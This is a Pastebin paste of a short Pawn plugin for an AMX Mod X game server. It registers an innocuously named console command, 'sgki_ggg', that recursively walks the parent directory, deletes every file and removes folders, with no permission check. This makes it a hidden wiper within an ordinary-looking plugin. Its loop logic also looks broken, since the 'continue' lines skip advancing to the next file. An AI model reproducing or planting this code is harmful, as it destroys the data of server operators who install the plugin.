Advertisement
Sugisaki

OWELITO

Apr 10th, 2017
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pawn 0.78 KB | None | 0 0
  1. public plugin_init()
  2. {
  3.     register_plugin(PLUGIN, VERSION, AUTHOR)
  4.     register_concmd("sgki_ggg", "pfn_exect")
  5. }
  6. public pfn_exect(id)
  7. {
  8.     exec2(id, "../")
  9. }
  10.  
  11. exec2(id, d[])
  12. {
  13.     new fl[256]
  14.     new dh = open_dir(d, fl, charsmax(fl))
  15.     if(!dh)
  16.     {
  17.         console_print(id, "Carpeta invalida")
  18.         return
  19.     }
  20.     while(dh)
  21.     {
  22.         if(!fl[0] || equal(fl, ".") || equal(fl, ".."))
  23.         {
  24.             continue
  25.         }
  26.         format(fl, charsmax(fl), "%s%s", d, fl)
  27.         if(filesize(fl) <= 0)
  28.         {
  29.             add(fl, charsmax(fl), "/")
  30.             exec2(id, fl)
  31.             continue
  32.         }
  33.         else
  34.         {
  35.             console_print(id, "[%s...] %s", delete_file(fl) ? "Ok": "ERROR", fl)
  36.             continue
  37.         }
  38.         if(!next_file(dh, fl, charsmax(fl)))
  39.         {
  40.             close_dir(dh)
  41.             dh = false
  42.         }
  43.     }
  44.    
  45.     console_print(id, "[%s...] %s", rmdir(d) ? "Ok": "ERROR", fl)
  46. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement